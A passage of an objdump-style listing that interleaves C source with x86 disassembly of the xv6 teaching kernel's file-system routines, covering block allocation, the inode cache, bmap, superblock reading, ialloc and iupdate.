80101175: 53 push %ebx
80101176: 83 ec 1c sub $0x1c,%esp
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
80101179: 8b 0d c0 09 11 80 mov 0x801109c0,%ecx
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
8010117f: 89 45 d8 mov %eax,-0x28(%ebp)
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
80101182: 85 c9 test %ecx,%ecx
80101184: 0f 84 85 00 00 00 je 8010120f <balloc+0x9f>
8010118a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
80101191: 8b 75 dc mov -0x24(%ebp),%esi
80101194: 83 ec 08 sub $0x8,%esp
80101197: 89 f0 mov %esi,%eax
80101199: c1 f8 0c sar $0xc,%eax
8010119c: 03 05 d8 09 11 80 add 0x801109d8,%eax
801011a2: 50 push %eax
801011a3: ff 75 d8 pushl -0x28(%ebp)
801011a6: e8 25 ef ff ff call 801000d0 <bread>
801011ab: 89 45 e4 mov %eax,-0x1c(%ebp)
801011ae: a1 c0 09 11 80 mov 0x801109c0,%eax
801011b3: 83 c4 10 add $0x10,%esp
801011b6: 89 45 e0 mov %eax,-0x20(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801011b9: 31 c0 xor %eax,%eax
801011bb: eb 2d jmp 801011ea <balloc+0x7a>
801011bd: 8d 76 00 lea 0x0(%esi),%esi
m = 1 << (bi % 8);
801011c0: 89 c1 mov %eax,%ecx
801011c2: ba 01 00 00 00 mov $0x1,%edx
if((bp->data[bi/8] & m) == 0){ // Is block free?
801011c7: 8b 5d e4 mov -0x1c(%ebp),%ebx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
801011ca: 83 e1 07 and $0x7,%ecx
801011cd: d3 e2 shl %cl,%edx
if((bp->data[bi/8] & m) == 0){ // Is block free?
801011cf: 89 c1 mov %eax,%ecx
801011d1: c1 f9 03 sar $0x3,%ecx
801011d4: 0f b6 7c 0b 5c movzbl 0x5c(%ebx,%ecx,1),%edi
801011d9: 85 d7 test %edx,%edi
801011db: 74 43 je 80101220 <balloc+0xb0>
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801011dd: 83 c0 01 add $0x1,%eax
801011e0: 83 c6 01 add $0x1,%esi
801011e3: 3d 00 10 00 00 cmp $0x1000,%eax
801011e8: 74 05 je 801011ef <balloc+0x7f>
801011ea: 3b 75 e0 cmp -0x20(%ebp),%esi
801011ed: 72 d1 jb 801011c0 <balloc+0x50>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
801011ef: 83 ec 0c sub $0xc,%esp
801011f2: ff 75 e4 pushl -0x1c(%ebp)
801011f5: e8 e6 ef ff ff call 801001e0 <brelse>
{
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
801011fa: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
80101201: 83 c4 10 add $0x10,%esp
80101204: 8b 45 dc mov -0x24(%ebp),%eax
80101207: 39 05 c0 09 11 80 cmp %eax,0x801109c0
8010120d: 77 82 ja 80101191 <balloc+0x21>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
8010120f: 83 ec 0c sub $0xc,%esp
80101212: 68 12 70 10 80 push $0x80107012
80101217: e8 54 f1 ff ff call 80100370 <panic>
8010121c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
bp->data[bi/8] |= m; // Mark block in use.
80101220: 09 fa or %edi,%edx
80101222: 8b 7d e4 mov -0x1c(%ebp),%edi
log_write(bp);
80101225: 83 ec 0c sub $0xc,%esp
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
bp->data[bi/8] |= m; // Mark block in use.
80101228: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1)
log_write(bp);
8010122c: 57 push %edi
8010122d: e8 ee 1a 00 00 call 80102d20 <log_write>
brelse(bp);
80101232: 89 3c 24 mov %edi,(%esp)
80101235: e8 a6 ef ff ff call 801001e0 <brelse>
static void
bzero(int dev, int bno)
{
struct buf *bp;
bp = bread(dev, bno);
8010123a: 58 pop %eax
8010123b: 5a pop %edx
8010123c: 56 push %esi
8010123d: ff 75 d8 pushl -0x28(%ebp)
80101240: e8 8b ee ff ff call 801000d0 <bread>
80101245: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
80101247: 8d 40 5c lea 0x5c(%eax),%eax
8010124a: 83 c4 0c add $0xc,%esp
8010124d: 68 00 02 00 00 push $0x200
80101252: 6a 00 push $0x0
80101254: 50 push %eax
80101255: e8 16 32 00 00 call 80104470 <memset>
log_write(bp);
8010125a: 89 1c 24 mov %ebx,(%esp)
8010125d: e8 be 1a 00 00 call 80102d20 <log_write>
brelse(bp);
80101262: 89 1c 24 mov %ebx,(%esp)
80101265: e8 76 ef ff ff call 801001e0 <brelse>
}
}
brelse(bp);
}
panic("balloc: out of blocks");
}
8010126a: 8d 65 f4 lea -0xc(%ebp),%esp
8010126d: 89 f0 mov %esi,%eax
8010126f: 5b pop %ebx
80101270: 5e pop %esi
80101271: 5f pop %edi
80101272: 5d pop %ebp
80101273: c3 ret
80101274: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010127a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101280 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101280: 55 push %ebp
80101281: 89 e5 mov %esp,%ebp
80101283: 57 push %edi
80101284: 56 push %esi
80101285: 53 push %ebx
80101286: 89 c7 mov %eax,%edi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
80101288: 31 f6 xor %esi,%esi
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010128a: bb 14 0a 11 80 mov $0x80110a14,%ebx
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
8010128f: 83 ec 28 sub $0x28,%esp
80101292: 89 55 e4 mov %edx,-0x1c(%ebp)
struct inode *ip, *empty;
acquire(&icache.lock);
80101295: 68 e0 09 11 80 push $0x801109e0
8010129a: e8 d1 30 00 00 call 80104370 <acquire>
8010129f: 83 c4 10 add $0x10,%esp
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801012a2: 8b 55 e4 mov -0x1c(%ebp),%edx
801012a5: eb 1b jmp 801012c2 <iget+0x42>
801012a7: 89 f6 mov %esi,%esi
801012a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
801012b0: 85 f6 test %esi,%esi
801012b2: 74 44 je 801012f8 <iget+0x78>
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801012b4: 81 c3 90 00 00 00 add $0x90,%ebx
801012ba: 81 fb 34 26 11 80 cmp $0x80112634,%ebx
801012c0: 74 4e je 80101310 <iget+0x90>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
801012c2: 8b 4b 08 mov 0x8(%ebx),%ecx
801012c5: 85 c9 test %ecx,%ecx
801012c7: 7e e7 jle 801012b0 <iget+0x30>
801012c9: 39 3b cmp %edi,(%ebx)
801012cb: 75 e3 jne 801012b0 <iget+0x30>
801012cd: 39 53 04 cmp %edx,0x4(%ebx)
801012d0: 75 de jne 801012b0 <iget+0x30>
ip->ref++;
release(&icache.lock);
801012d2: 83 ec 0c sub $0xc,%esp
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
801012d5: 83 c1 01 add $0x1,%ecx
release(&icache.lock);
return ip;
801012d8: 89 de mov %ebx,%esi
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
801012da: 68 e0 09 11 80 push $0x801109e0
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
801012df: 89 4b 08 mov %ecx,0x8(%ebx)
release(&icache.lock);
801012e2: e8 39 31 00 00 call 80104420 <release>
return ip;
801012e7: 83 c4 10 add $0x10,%esp
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
return ip;
}
801012ea: 8d 65 f4 lea -0xc(%ebp),%esp
801012ed: 89 f0 mov %esi,%eax
801012ef: 5b pop %ebx
801012f0: 5e pop %esi
801012f1: 5f pop %edi
801012f2: 5d pop %ebp
801012f3: c3 ret
801012f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
801012f8: 85 c9 test %ecx,%ecx
801012fa: 0f 44 f3 cmove %ebx,%esi
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801012fd: 81 c3 90 00 00 00 add $0x90,%ebx
80101303: 81 fb 34 26 11 80 cmp $0x80112634,%ebx
80101309: 75 b7 jne 801012c2 <iget+0x42>
8010130b: 90 nop
8010130c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
80101310: 85 f6 test %esi,%esi
80101312: 74 2d je 80101341 <iget+0xc1>
ip = empty;
ip->dev = dev;
ip->inum = inum;
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
80101314: 83 ec 0c sub $0xc,%esp
// Recycle an inode cache entry.
if(empty == 0)
panic("iget: no inodes");
ip = empty;
ip->dev = dev;
80101317: 89 3e mov %edi,(%esi)
ip->inum = inum;
80101319: 89 56 04 mov %edx,0x4(%esi)
ip->ref = 1;
8010131c: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->valid = 0;
80101323: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
8010132a: 68 e0 09 11 80 push $0x801109e0
8010132f: e8 ec 30 00 00 call 80104420 <release>
return ip;
80101334: 83 c4 10 add $0x10,%esp
}
80101337: 8d 65 f4 lea -0xc(%ebp),%esp
8010133a: 89 f0 mov %esi,%eax
8010133c: 5b pop %ebx
8010133d: 5e pop %esi
8010133e: 5f pop %edi
8010133f: 5d pop %ebp
80101340: c3 ret
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
panic("iget: no inodes");
80101341: 83 ec 0c sub $0xc,%esp
80101344: 68 28 70 10 80 push $0x80107028
80101349: e8 22 f0 ff ff call 80100370 <panic>
8010134e: 66 90 xchg %ax,%ax
80101350 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
80101350: 55 push %ebp
80101351: 89 e5 mov %esp,%ebp
80101353: 57 push %edi
80101354: 56 push %esi
80101355: 53 push %ebx
80101356: 89 c6 mov %eax,%esi
80101358: 83 ec 1c sub $0x1c,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
8010135b: 83 fa 0b cmp $0xb,%edx
8010135e: 77 18 ja 80101378 <bmap+0x28>
80101360: 8d 1c 90 lea (%eax,%edx,4),%ebx
if((addr = ip->addrs[bn]) == 0)
80101363: 8b 43 5c mov 0x5c(%ebx),%eax
80101366: 85 c0 test %eax,%eax
80101368: 74 76 je 801013e0 <bmap+0x90>
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
8010136a: 8d 65 f4 lea -0xc(%ebp),%esp
8010136d: 5b pop %ebx
8010136e: 5e pop %esi
8010136f: 5f pop %edi
80101370: 5d pop %ebp
80101371: c3 ret
80101372: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
return addr;
}
bn -= NDIRECT;
80101378: 8d 5a f4 lea -0xc(%edx),%ebx
if(bn < NINDIRECT){
8010137b: 83 fb 7f cmp $0x7f,%ebx
8010137e: 0f 87 83 00 00 00 ja 80101407 <bmap+0xb7>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101384: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
8010138a: 85 c0 test %eax,%eax
8010138c: 74 6a je 801013f8 <bmap+0xa8>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
8010138e: 83 ec 08 sub $0x8,%esp
80101391: 50 push %eax
80101392: ff 36 pushl (%esi)
80101394: e8 37 ed ff ff call 801000d0 <bread>
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
80101399: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx
8010139d: 83 c4 10 add $0x10,%esp
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
801013a0: 89 c7 mov %eax,%edi
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
801013a2: 8b 1a mov (%edx),%ebx
801013a4: 85 db test %ebx,%ebx
801013a6: 75 1d jne 801013c5 <bmap+0x75>
a[bn] = addr = balloc(ip->dev);
801013a8: 8b 06 mov (%esi),%eax
801013aa: 89 55 e4 mov %edx,-0x1c(%ebp)
801013ad: e8 be fd ff ff call 80101170 <balloc>
801013b2: 8b 55 e4 mov -0x1c(%ebp),%edx
log_write(bp);
801013b5: 83 ec 0c sub $0xc,%esp
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
bp = bread(ip->dev, addr);
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
a[bn] = addr = balloc(ip->dev);
801013b8: 89 c3 mov %eax,%ebx
801013ba: 89 02 mov %eax,(%edx)
log_write(bp);
801013bc: 57 push %edi
801013bd: e8 5e 19 00 00 call 80102d20 <log_write>
801013c2: 83 c4 10 add $0x10,%esp
}
brelse(bp);
801013c5: 83 ec 0c sub $0xc,%esp
801013c8: 57 push %edi
801013c9: e8 12 ee ff ff call 801001e0 <brelse>
801013ce: 83 c4 10 add $0x10,%esp
return addr;
}
panic("bmap: out of range");
}
801013d1: 8d 65 f4 lea -0xc(%ebp),%esp
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
a[bn] = addr = balloc(ip->dev);
log_write(bp);
}
brelse(bp);
801013d4: 89 d8 mov %ebx,%eax
return addr;
}
panic("bmap: out of range");
}
801013d6: 5b pop %ebx
801013d7: 5e pop %esi
801013d8: 5f pop %edi
801013d9: 5d pop %ebp
801013da: c3 ret
801013db: 90 nop
801013dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
801013e0: 8b 06 mov (%esi),%eax
801013e2: e8 89 fd ff ff call 80101170 <balloc>
801013e7: 89 43 5c mov %eax,0x5c(%ebx)
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
801013ea: 8d 65 f4 lea -0xc(%ebp),%esp
801013ed: 5b pop %ebx
801013ee: 5e pop %esi
801013ef: 5f pop %edi
801013f0: 5d pop %ebp
801013f1: c3 ret
801013f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bn -= NDIRECT;
if(bn < NINDIRECT){
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
801013f8: 8b 06 mov (%esi),%eax
801013fa: e8 71 fd ff ff call 80101170 <balloc>
801013ff: 89 86 8c 00 00 00 mov %eax,0x8c(%esi)
80101405: eb 87 jmp 8010138e <bmap+0x3e>
}
brelse(bp);
return addr;
}
panic("bmap: out of range");
80101407: 83 ec 0c sub $0xc,%esp
8010140a: 68 38 70 10 80 push $0x80107038
8010140f: e8 5c ef ff ff call 80100370 <panic>
80101414: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010141a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101420 <readsb>:
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
80101420: 55 push %ebp
80101421: 89 e5 mov %esp,%ebp
80101423: 56 push %esi
80101424: 53 push %ebx
80101425: 8b 75 0c mov 0xc(%ebp),%esi
struct buf *bp;
bp = bread(dev, 1);
80101428: 83 ec 08 sub $0x8,%esp
8010142b: 6a 01 push $0x1
8010142d: ff 75 08 pushl 0x8(%ebp)
80101430: e8 9b ec ff ff call 801000d0 <bread>
80101435: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
80101437: 8d 40 5c lea 0x5c(%eax),%eax
8010143a: 83 c4 0c add $0xc,%esp
8010143d: 6a 1c push $0x1c
8010143f: 50 push %eax
80101440: 56 push %esi
80101441: e8 da 30 00 00 call 80104520 <memmove>
brelse(bp);
80101446: 89 5d 08 mov %ebx,0x8(%ebp)
80101449: 83 c4 10 add $0x10,%esp
}
8010144c: 8d 65 f8 lea -0x8(%ebp),%esp
8010144f: 5b pop %ebx
80101450: 5e pop %esi
80101451: 5d pop %ebp
{
struct buf *bp;
bp = bread(dev, 1);
memmove(sb, bp->data, sizeof(*sb));
brelse(bp);
80101452: e9 89 ed ff ff jmp 801001e0 <brelse>
80101457: 89 f6 mov %esi,%esi
80101459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101460 <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(int dev)
{
80101460: 55 push %ebp
80101461: 89 e5 mov %esp,%ebp
80101463: 53 push %ebx
80101464: bb 20 0a 11 80 mov $0x80110a20,%ebx
80101469: 83 ec 0c sub $0xc,%esp
int i = 0;
initlock(&icache.lock, "icache");
8010146c: 68 4b 70 10 80 push $0x8010704b
80101471: 68 e0 09 11 80 push $0x801109e0
80101476: e8 95 2d 00 00 call 80104210 <initlock>
8010147b: 83 c4 10 add $0x10,%esp
8010147e: 66 90 xchg %ax,%ax
for(i = 0; i < NINODE; i++) {
initsleeplock(&icache.inode[i].lock, "inode");
80101480: 83 ec 08 sub $0x8,%esp
80101483: 68 52 70 10 80 push $0x80107052
80101488: 53 push %ebx
80101489: 81 c3 90 00 00 00 add $0x90,%ebx
8010148f: e8 4c 2c 00 00 call 801040e0 <initsleeplock>
iinit(int dev)
{
int i = 0;
initlock(&icache.lock, "icache");
for(i = 0; i < NINODE; i++) {
80101494: 83 c4 10 add $0x10,%esp
80101497: 81 fb 40 26 11 80 cmp $0x80112640,%ebx
8010149d: 75 e1 jne 80101480 <iinit+0x20>
initsleeplock(&icache.inode[i].lock, "inode");
}
readsb(dev, &sb);
8010149f: 83 ec 08 sub $0x8,%esp
801014a2: 68 c0 09 11 80 push $0x801109c0
801014a7: ff 75 08 pushl 0x8(%ebp)
801014aa: e8 71 ff ff ff call 80101420 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
801014af: ff 35 d8 09 11 80 pushl 0x801109d8
801014b5: ff 35 d4 09 11 80 pushl 0x801109d4
801014bb: ff 35 d0 09 11 80 pushl 0x801109d0
801014c1: ff 35 cc 09 11 80 pushl 0x801109cc
801014c7: ff 35 c8 09 11 80 pushl 0x801109c8
801014cd: ff 35 c4 09 11 80 pushl 0x801109c4
801014d3: ff 35 c0 09 11 80 pushl 0x801109c0
801014d9: 68 b8 70 10 80 push $0x801070b8
801014de: e8 7d f1 ff ff call 80100660 <cprintf>
inodestart %d bmap start %d\n", sb.size, sb.nblocks,
sb.ninodes, sb.nlog, sb.logstart, sb.inodestart,
sb.bmapstart);
}
801014e3: 83 c4 30 add $0x30,%esp
801014e6: 8b 5d fc mov -0x4(%ebp),%ebx
801014e9: c9 leave
801014ea: c3 ret
801014eb: 90 nop
801014ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801014f0 <ialloc>:
// Allocate an inode on device dev.
// Mark it as allocated by giving it type type.
// Returns an unlocked but allocated and referenced inode.
struct inode*
ialloc(uint dev, short type)
{
801014f0: 55 push %ebp
801014f1: 89 e5 mov %esp,%ebp
801014f3: 57 push %edi
801014f4: 56 push %esi
801014f5: 53 push %ebx
801014f6: 83 ec 1c sub $0x1c,%esp
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
801014f9: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8
// Allocate an inode on device dev.
// Mark it as allocated by giving it type type.
// Returns an unlocked but allocated and referenced inode.
struct inode*
ialloc(uint dev, short type)
{
80101500: 8b 45 0c mov 0xc(%ebp),%eax
80101503: 8b 75 08 mov 0x8(%ebp),%esi
80101506: 89 45 e4 mov %eax,-0x1c(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101509: 0f 86 91 00 00 00 jbe 801015a0 <ialloc+0xb0>
8010150f: bb 01 00 00 00 mov $0x1,%ebx
80101514: eb 21 jmp 80101537 <ialloc+0x47>
80101516: 8d 76 00 lea 0x0(%esi),%esi
80101519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
80101520: 83 ec 0c sub $0xc,%esp
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101523: 83 c3 01 add $0x1,%ebx
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
80101526: 57 push %edi
80101527: e8 b4 ec ff ff call 801001e0 <brelse>
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010152c: 83 c4 10 add $0x10,%esp
8010152f: 39 1d c8 09 11 80 cmp %ebx,0x801109c8
80101535: 76 69 jbe 801015a0 <ialloc+0xb0>
bp = bread(dev, IBLOCK(inum, sb));
80101537: 89 d8 mov %ebx,%eax
80101539: 83 ec 08 sub $0x8,%esp
8010153c: c1 e8 03 shr $0x3,%eax
8010153f: 03 05 d4 09 11 80 add 0x801109d4,%eax
80101545: 50 push %eax
80101546: 56 push %esi
80101547: e8 84 eb ff ff call 801000d0 <bread>
8010154c: 89 c7 mov %eax,%edi
dip = (struct dinode*)bp->data + inum%IPB;
8010154e: 89 d8 mov %ebx,%eax
if(dip->type == 0){ // a free inode
80101550: 83 c4 10 add $0x10,%esp
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
bp = bread(dev, IBLOCK(inum, sb));
dip = (struct dinode*)bp->data + inum%IPB;
80101553: 83 e0 07 and $0x7,%eax
80101556: c1 e0 06 shl $0x6,%eax
80101559: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx
if(dip->type == 0){ // a free inode
8010155d: 66 83 39 00 cmpw $0x0,(%ecx)
80101561: 75 bd jne 80101520 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
80101563: 83 ec 04 sub $0x4,%esp
80101566: 89 4d e0 mov %ecx,-0x20(%ebp)
80101569: 6a 40 push $0x40
8010156b: 6a 00 push $0x0
8010156d: 51 push %ecx
8010156e: e8 fd 2e 00 00 call 80104470 <memset>
dip->type = type;
80101573: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
80101577: 8b 4d e0 mov -0x20(%ebp),%ecx
8010157a: 66 89 01 mov %ax,(%ecx)
log_write(bp); // mark it allocated on the disk
8010157d: 89 3c 24 mov %edi,(%esp)
80101580: e8 9b 17 00 00 call 80102d20 <log_write>
brelse(bp);
80101585: 89 3c 24 mov %edi,(%esp)
80101588: e8 53 ec ff ff call 801001e0 <brelse>
return iget(dev, inum);
8010158d: 83 c4 10 add $0x10,%esp
}
brelse(bp);
}
panic("ialloc: no inodes");
}
80101590: 8d 65 f4 lea -0xc(%ebp),%esp
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
80101593: 89 da mov %ebx,%edx
80101595: 89 f0 mov %esi,%eax
}
brelse(bp);
}
panic("ialloc: no inodes");
}
80101597: 5b pop %ebx
80101598: 5e pop %esi
80101599: 5f pop %edi
8010159a: 5d pop %ebp
if(dip->type == 0){ // a free inode
memset(dip, 0, sizeof(*dip));
dip->type = type;
log_write(bp); // mark it allocated on the disk
brelse(bp);
return iget(dev, inum);
8010159b: e9 e0 fc ff ff jmp 80101280 <iget>
}
brelse(bp);
}
panic("ialloc: no inodes");
801015a0: 83 ec 0c sub $0xc,%esp
801015a3: 68 58 70 10 80 push $0x80107058
801015a8: e8 c3 ed ff ff call 80100370 <panic>
801015ad: 8d 76 00 lea 0x0(%esi),%esi
801015b0 <iupdate>:
// Must be called after every change to an ip->xxx field
// that lives on disk, since i-node cache is write-through.
// Caller must hold ip->lock.
void
iupdate(struct inode *ip)
{
801015b0: 55 push %ebp
801015b1: 89 e5 mov %esp,%ebp
801015b3: 56 push %esi
801015b4: 53 push %ebx
801015b5: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015b8: 83 ec 08 sub $0x8,%esp
801015bb: 8b 43 04 mov 0x4(%ebx),%eax
dip->type = ip->type;
dip->major = ip->major;
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015be: 83 c3 5c add $0x5c,%ebx
iupdate(struct inode *ip)
{
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015c1: c1 e8 03 shr $0x3,%eax
801015c4: 03 05 d4 09 11 80 add 0x801109d4,%eax
801015ca: 50 push %eax
801015cb: ff 73 a4 pushl -0x5c(%ebx)
801015ce: e8 fd ea ff ff call 801000d0 <bread>
801015d3: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
801015d5: 8b 43 a8 mov -0x58(%ebx),%eax
dip->type = ip->type;
801015d8: 0f b7 53 f4 movzwl -0xc(%ebx),%edx
dip->major = ip->major;
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015dc: 83 c4 0c add $0xc,%esp
{
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
801015df: 83 e0 07 and $0x7,%eax
801015e2: c1 e0 06 shl $0x6,%eax
801015e5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
dip->type = ip->type;
801015e9: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
801015ec: 0f b7 53 f6 movzwl -0xa(%ebx),%edx
dip->minor = ip->minor;
dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015f0: 83 c0 0c add $0xc,%eax
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
dip->type = ip->type;
dip->major = ip->major;
801015f3: 66 89 50 f6 mov %dx,-0xa(%eax)
dip->minor = ip->minor;
801015f7: 0f b7 53 f8 movzwl -0x8(%ebx),%edx
801015fb: 66 89 50 f8 mov %dx,-0x8(%eax)
dip->nlink = ip->nlink;
801015ff: 0f b7 53 fa movzwl -0x6(%ebx),%edx
80101603: 66 89 50 fa mov %dx,-0x6(%eax)
dip->size = ip->size;
80101607: 8b 53 fc mov -0x4(%ebx),%edx
8010160a: 89 50 fc mov %edx,-0x4(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010160d: 6a 34 push $0x34
8010160f: 53 push %ebx
80101610: 50 push %eax
80101611: e8 0a 2f 00 00 call 80104520 <memmove>
log_write(bp);
80101616: 89 34 24 mov %esi,(%esp)
80101619: e8 02 17 00 00 call 80102d20 <log_write>
brelse(bp);
8010161e: 89 75 08 mov %esi,0x8(%ebp)
80101621: 83 c4 10 add $0x10,%esp
}
80101624: 8d 65 f8 lea -0x8(%ebp),%esp
80101627: 5b pop %ebx
80101628: 5e pop %esi
80101629: 5d pop %ebp
dip->minor = ip->minor;
